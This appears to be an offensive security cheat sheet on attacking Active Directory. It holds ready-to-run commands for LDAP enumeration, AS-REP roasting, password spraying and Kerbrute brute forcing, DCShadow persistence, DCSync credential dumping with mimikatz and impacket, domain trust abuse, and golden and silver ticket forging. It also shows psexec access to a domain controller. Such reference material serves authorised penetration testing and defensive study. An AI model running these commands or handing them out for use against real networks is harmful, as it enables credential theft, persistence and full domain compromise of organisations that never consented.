AD Related
Enumeration
Basic ldap enumeration
python3 /opt/enum4linux-ng/enum4linux-ng.py -A 1.3.3.7 -p Password123-u morph3
python windapsearch.py -u morph3 -p morph3 -d evil.corp --dc-ip 192.168.1.2
python ad-ldap-enum.py -d contoso.com -l 10.0.0.1 -u Administrator -p P@ssw0rdLDAP Queries
Get all the users
Get-ADUser -LDAPFilter "(objectClass=user)"Dump ldap fully
export LDAPTLS_REQCERT=never
ldapsearch -LLL -x -H ldaps://dc.foobar.local -b 'dc=foobar,dc=local' -s sub '(objectclass=*)' -D '[email protected]' -w foobarAS-Rep Roasting
If a user has pre auth enabled, you grab his/her hash
impacket-GetNPUsers ecorp.local/ -format hashcat -usersfile ./users -dc-ip 10.3.3.7Bruteforcing - Password Spraying
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txtKerbrute
Kerberos(port 88) bruteforcing
# Password brute
./kerbrute_linux_amd64 bruteuser -d evil.corp --dc 192.168.1.2 rockyou.txt morph3
# Username brute
./kerbrute_linux_amd64 userenum -d evil.corp --dc 192.168.1.2 users.txt
# Password spray
./kerbrute_linux_amd64 passwordspray -d evil.corp --dc 192.168.1.2 users.txt rockyou.txtDC Shadow
-This is a persistence attack-
DC Shadow attack aims to inject malicious Domain Controlllers into AD infrastructure so that we can dump actual AD members.
Find sid for that user
wmic useraccount where (name='administrator' and domain='%userdomain%') get name,sidThis will create a RPC Server and listen
lsadump::dcshadow /object:"CN=morph3,OU=Business,OU=Users,OU=ECORP,DC=ECORP,DC=local" /attribute:sidhistory /value:sidRun this from another mimikatz
lsadump::dcshadow /pushAfter this, unregistration must be done. Relogin now and perform DCSync
lsadump::dcsync /domain:ECORP.local /account:krbtgtDC Sync
Using mimikatz,
lsadump::dcsync /domain:domain /all /csv
lsadump::dcsync /user:krbtgtUsing DCSync.ps1,
https://gist.github.com/monoxgas/9d238accd969550136db
powershell.exe -c "Import-Module .\Invoke-DCSync.ps1; Invoke-DCSync -PWDumpFormat"Using secretdumps module from impacket,
python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\[email protected]
python secretsdump.py -system /tmp/SYSTEM -ntds /tmp/ntds.dit LOCAL
impacket-secretsdump [email protected]Domain Trust
get-domaintrustmappingWe get current domain or target domain sid using Get-DomainSID
kerberos::golden /user:Administrator /domain:<curr_domain> /sid:<curr_domain_sid> /krbtgt:<curr_domain_krbtgt_hash> /sids:<target_domain_sid> /pttGolden Ticket
Use krbtgt's hash and you can forge tickets for anyone.
Get krbtgt hash,
lsadump::dcsync /all /csvYou might want to patch it
lsadump::lsa /patch
lsadump::trust /patchForging the ticket
/rc4 or /krbtgt -> krbtgt hash
/sid -> Get-DomainSID
/ticket -> this parameter is optional but default is ticket.kirbi
/groups -> this parameter is optional but default is 513,512,520,518,519
/ptt -> switch to perform ptt
kerberos::golden /user:morph3 /domain:evil.corp /sid:domains-sid /krbtgt:krbtgt-hash /ticket:ticket.kirbi /groups:501,502,513,512,520,518,519
kerberos::ptt ticket.kirbiAfter this, your final ticket should be ready. You can also verify by using the following command that it is in your cache.
klistYou can now verify it is working.
dir \\DC\C$
psexec.exe \\DC cmd.exepurge it
kerberos::purge If you want to use metasploit
post/windows/escalate/golden_ticket Silver Ticket
Service accounts
ticketer,
python3 /opt/impacket/examples/ticketer.py -domain scrm.local -user sqlsvc -password Pegasus60 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 ksimpson -spn MSSQLSvc/dc1.scrm.local -nthash B999A16500B87D17EC7F2E2A68778F05Last updated